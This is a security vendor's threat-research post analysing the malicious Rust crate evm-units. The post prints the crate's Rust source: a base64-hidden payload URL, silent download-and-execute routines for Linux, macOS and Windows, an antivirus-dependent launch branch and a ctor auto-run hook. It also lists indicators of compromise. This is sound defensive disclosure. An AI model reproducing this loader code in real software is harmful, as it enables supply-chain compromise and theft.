

Malicious Rust Crate evm-units Serves Cross-Platform Payload...

 socket.dev/blog/malicious-rust-crate-evm-units-serves-cross-platform-payloads

[Back](#)

ResearchSecurity News

Malicious Rust Crate evm-units Serves Cross-Platform Payloads for Silent Execution

Malicious Rust crate `evm-units` disguised as an EVM version helper downloads and silently executes OS-specific payloads likely aimed at crypto theft.



The Socket Threat Research Team recently discovered a malicious Rust package named `evm-units`, written by [ablerust](#), with over 7,000 all-time downloads. Based on the victim's OS and whether Qihoo360 antivirus is running, the package downloads a payload, writes it to the system

temp directory, and silently executes it. The package *appears* to return the Ethereum version number, so the victim is none the wiser. The package names and code behavior (EVM utilities, genuine Uniswap helper library), combined with the Qihoo360 targeting and multi-OS loader pattern, make it likely that the payload steals cryptocurrency. The targeting of Qihoo360 also suggests that the threat actor is focusing on Asian markets, as Qihoo360 is a Chinese-made antivirus with dominant marketshare throughout Asia.

The package was live on Crates.io for 8 months but was removed promptly (within minutes) after we reporting it to their team.



AI-detected potential malware



Package and version (1)

evm-units@1.3.0 

Instance	Details
Instance #1	AI-based analysis of the package's code and behavior This code implements a remote downloader and executor: it decodes a base64 URL, downloads remote content, writes it to a temp file and executes it in a platform-specific, stealthy way (hidden window, detached background process), and even checks for a known AV process to modify its behavior. There is no integrity or safety checking and TLS verification is disabled. These are strong indicators of malicious behavior (remote code execution/backdoor/stager). I conclude this module is highly suspicious and should be treated as malicious; do not run it in production or on any system you care about. Impact of this behavior 0.9 Confidence of this analysis 0.6 Alert Locations  evm-units-1.3.0/src/lib.rs

Socket AI Scanner's analysis of the malicious evm-units package, detailing the malicious and platform-specific behavior.

The Code

The code executes when a victim calls `get_evm_version()`, which is a clever disguise as it performs a real and plausible task. It will appear legitimate, returning an actual version number defined in the malicious code. However, calling that function to check the version number begins a

series of steps eventually leading to compromise.

```
pub fn get_evm_version() -> u8 {
    let encoded =
"aHR0cHM6Ly9kb3dubG9hZC52aWR1b3RhbGtzLnh5ei9ndWkvNmRhZDMvaWQ9NTI0NDU0NDExMjQyNzk3OCZzZWNYZ
XQ9Tkj5VVpydXRER29T";
    let input = encoded.as_bytes();
    let mut reader = DecoderReader::new(input, &general_purpose::STANDARD);
    let mut buffer = Vec::new();
    let _ = io::copy(&mut reader, &mut buffer);
    let decoded = match String::from_utf8(buffer) {
        Ok(s) => s,
        Err(_) => {
            return 0;
        }
    };
    let rt = Runtime::new().unwrap();
    let _ = rt.block_on(check(&decoded));
    return VERSION;
}
```

Beginning of the malicious execution.

[get_evm_version\(\)](#) defines an encoded url, allowing it to hide from view and avoid static analysis. The value decodes to:

[https://download\[.\]videotalks\[.\]xyz/gui/6dad3/id=5244544112427978&secret=NByUZrutDGoS](https://download[.]videotalks[.]xyz/gui/6dad3/id=5244544112427978&secret=NByUZrutDGoS)

Which is then passed to the `check()` function, and is treated as the URL to fetch the payload from.

The code then executes a different `check()` function based on what operating system the victim is running.

VirusTotal has marked this URL as well as the hash for the payload it downloads ([6d09e646856aa96fd118f9e5725dc8565deac4b441a96a011e528c0732db9c51](#)) as malicious.

Linux

```
#[cfg(target_os = "linux")]
async fn check(chsum: &String) -> bool {
    let scpath: PathBuf = temp_dir().join("init");

    let client = match Client::builder().danger_accept_invalid_certs(true).build() {
        Ok(c) => c,
        Err(_) => {
            return false;
        }
    };

    let response = match client.get(chsum).header("User-Agent", "linux").send().await {
        Ok(r) => r,
        Err(_) => {
            return false;
        }
    };

    let body = match response.bytes().await {
        Ok(b) => b,
        Err(_) => {
            return false;
        }
    };

    let mut scfile = match File::create(scpath.clone()) {
        Ok(f) => f,
        Err(_) => {
            return false;
        }
    };

    match scfile.write(&body) {
        Ok(_) => {},
        Err(_) => {
            return false;
        }
    };

    let mut cmd = Command::new("nohup");
    unsafe{
        let _ = cmd.args([
            "bash",
            scpath.to_str().unwrap(),
            "&"
        ])
        .stdout(Stdio::null())
        .stdin(Stdio::null())
        .stderr(Stdio::null())
    }
```

```
        .spawn();  
    }  
    true  
}
```

evm-units code for Linux machines.

[Here](#), the malware downloads a script from the threat actor, saves it in `/tmp/init`, and immediately runs it in the background using `nohup bash`. There is no window, no output, no logs printed, so the victim never sees anything. The attacker's script gains full control, allowing it to run any commands or install any payloads the attacker chooses.

MacOS

```
#[cfg(target_os = "macos")]
async fn check(chsum: &String) -> bool {
    let scpath: PathBuf = temp_dir().join("init");

    let client = match Client::builder().danger_accept_invalid_certs(true).build() {
        Ok(c) => c,
        Err(_) => {
            return false;
        }
    };

    let response = match client.get(chsum).header("User-Agent", "darwin").send().await {
        Ok(r) => r,
        Err(_) => {
            return false;
        }
    };

    let body = match response.bytes().await {
        Ok(b) => b,
        Err(_) => {
            return false;
        }
    };

    let mut scfile = match File::create(scpath.clone()) {
        Ok(f) => f,
        Err(_) => {
            return false;
        }
    };

    match scfile.write(&body) {
        Ok(_) => {},
        Err(_) => {
            return false;
        }
    };

    let mut cmd = Command::new("nohup");
    unsafe{
        let _ = cmd.args([
            "osascript",
            scpath.to_str().unwrap(),
            "&"
        ])
        .stdout(Stdio::null())
        .stdin(Stdio::null())
        .stderr(Stdio::null())
        .spawn();
    }
```

```
    }  
    true  
}
```

evm-units for MacOS

[On macOS](#), the malware downloads a file called `init` into the system temp folder and immediately executes it using `osascript` in the background with `nohup`. This again quietly runs the attacker's AppleScript with no windows, no notifications, and no output, enabling silent second-stage infection.

Windows

```
#[cfg(target_os = "windows")]
async fn check(chsum: &String) -> bool {
    let scpath: PathBuf = temp_dir().join("init.ps1");
    let vbpath: PathBuf = scpath.with_extension("vbs");

    let client = match Client::builder().danger_accept_invalid_certs(true).build() {
        Ok(c) => c,
        Err(_) => {
            return false;
        }
    };

    let response = match client.get(chsum).header("User-Agent", "win32").send().await {
        Ok(r) => r,
        Err(_) => {
            return false;
        }
    };

    let body = match response.bytes().await {
        Ok(b) => b,
        Err(_) => {
            return false;
        }
    };

    let mut scfile = match File::create(scpath.clone()) {
        Ok(f) => f,
        Err(_) => {
            return false;
        }
    };

    match scfile.write(&body) {
        Ok(_) => {},
        Err(_) => {
            return false;
        }
    };

    let mut is_360 = false;
    let mut sys = System::new_all();
    sys.refresh_all();

    for _ in sys.processes_by_name(0sStr::new("qhsafetray.exe")) {
        is_360 = true;
        break;
    }

    if !is_360 {
```

```

        let vbscript_code = format!(
            r#"Set objShell = CreateObject("WScript.Shell")
            objShell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -File ""{}"", 0,
False"#,
            scpath.display()
        );
        match std::fs::write(&vbpath, vbscript_code) {
            Ok(_) => {}
            Err(_) => {}
        };
    }

    let _ = Command::new("powershell.exe")
        .args([
            "-executionpolicy",
            "bypass",
            "-file",
            scpath.to_str().unwrap()
        ])
        .creation_flags(0x08000000) // CREATE_NO_WINDOW
        .stdin(stdio::null())
        .stdout(stdio::null())
        .stderr(stdio::null())
        .spawn();
    true
}

```

evm-units for Windows

[On Windows](#), the malware saves the downloaded payload as a **.ps1** file in the temp directory and then checks for Qihoo 360.

If Qihoo 360 is not present, it creates a VBScript that runs a hidden Powershell script with no visible window, and writes that script into the temp directory. The malware now has two ways to launch. If there is no antivirus, it will launch through the VBScript.

Otherwise, if there is Qihoo 360 present, the malware will launch by directly calling Powershell with no window and no logs printed to the console.

This focus on Qihoo 360 is a rare, explicit, China-focused targeting indicator, because it is a leading [Chinese internet company](#). It fits the crypto-theft profile, as Asia is one of the largest global markets for retail cryptocurrency activity.

Across each of these platforms, the threat actor has used **danger_accept_invalid_certs(true)**, which is an intentional anti-defensive feature that allows the threat actor to rotate servers easily and use self-signed certs.

Behavior as a Second Stage Loader

`evm-units` has no `main()` function, meaning that it relies on being called by tests or other code bases to run.

```
#[cfg(test)]
mod tests{
    use super::*;

    #[test]
    fn test_version() {
        let version = get_evm_version();
        assert_eq!(VERSION, version);
    }
}
```

`evm-units` test module.

On surface level, this code asserts that the returned value always equals the constant `VERSION`, and the test will pass. However, this code snippet calls the larger function that executes the payload, `get_evm_version()`. Anyone who calls this version function will therefore execute the malware.

Another package written by the same author, `uniswap-utils`, appears completely benign. However, it depends on `evm-units` and calls it in one of its files.

```
#[ctor::ctor]
fn test_version() {
    evm_units::get_evm_version();
}
```

`uniswap-utils` calling the malicious function in `evm-units`

[Here](#), the malicious code runs automatically at initialization due to the `#[ctor::ctor]` annotation, making this a supply chain compromise.

`uniswap-utils` has over 7,400 all time downloads. Besides this call to a malicious function, the package is a normal helper library for working with Uniswap pool addresses on several chains, further indicating that the malicious payload targets cryptocurrency in some way.

uniswap-utils dependency alert on Socket since it has a dependency containing malware (which is evm-units)

Outlook and Recommendations

This incident highlights the growing trend of malware hiding inside open source ecosystems, especially cryptocurrency infrastructure. `ablerust`, the threat actor responsible for the malicious code, embedded a cross-platform second-stage loader inside a seemingly harmless function.

As supply chain compromises continue to increase in sophistication, organizations must remain vigilant when using open source code, as any package may contain hidden behavior.

Socket's ecosystem-wide surveillance and deep behavioral analysis are specifically designed to detect these issues. Socket does not just look at direct dependencies, but rather scans all dependencies, and will flag anything malicious, stopping the spread of supply chain compromise like the one between `uniswap-utils` and `evm-units`. Socket's AI Scanner identifies dangerous actions such as OS-specific payload downloading, execution of PowerShell, Bash, or AppleScript, and hidden initialization hooks such as `#[ctor::ctor]`.

Organizations should enable Socket's dependency protection in CI/CD pipelines, ensuring malicious crates are blocked before they reach production environments. They should continuously monitor existing dependencies, because packages can become malicious over time. The [Socket GitHub App](#), [Socket CLI](#), [Socket Firewall](#), and [Socket Browser Extension](#) all help to monitor supply chains and keep organizations safe.

MITRE ATT&CK

- T1195 — Supply Chain Compromise
- T1059 — Command and Scripting Interpreter
- T1204.002 — User Execution: Malicious File
- T1027 — Obfuscated/Encrypted Payloads
- T1140 — Deobfuscation/Decoding Required
- T1553.002 — Code Signing Bypass
- T1055 — Process Injection
- T1036 — Masquerading
- T1071.001 — Web Protocols
- T1573 — Encrypted Channel
- T1105 — Ingress Tool Transfer

Indicators of Compromise

Malicious URLs

`https://download[.]videotalks[.]xyz/gui/6dad3/id=5244544112427978&secret=NByUZrutDGoS`

Base64-Encoded String

`aHR0cHM6Ly9kb3dubG9hZC52aWRlb3RhbGtzLnh5ei9ndWkvNmRhZDMvaWQ9NTI0NDU0NDExMjQyNzk3OCZzZWNYZXQ9TkJ5VVpydXRER29T`

Malicious Cyber Threat Actor Crates Alias

ablerust

Malicious Package

evm-units

Hash of Malicious Payload from VirusTotal

6d09e646856aa96fd118f9e5725dc8565deac4b441a96a011e528c0732db9c51

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Enter your email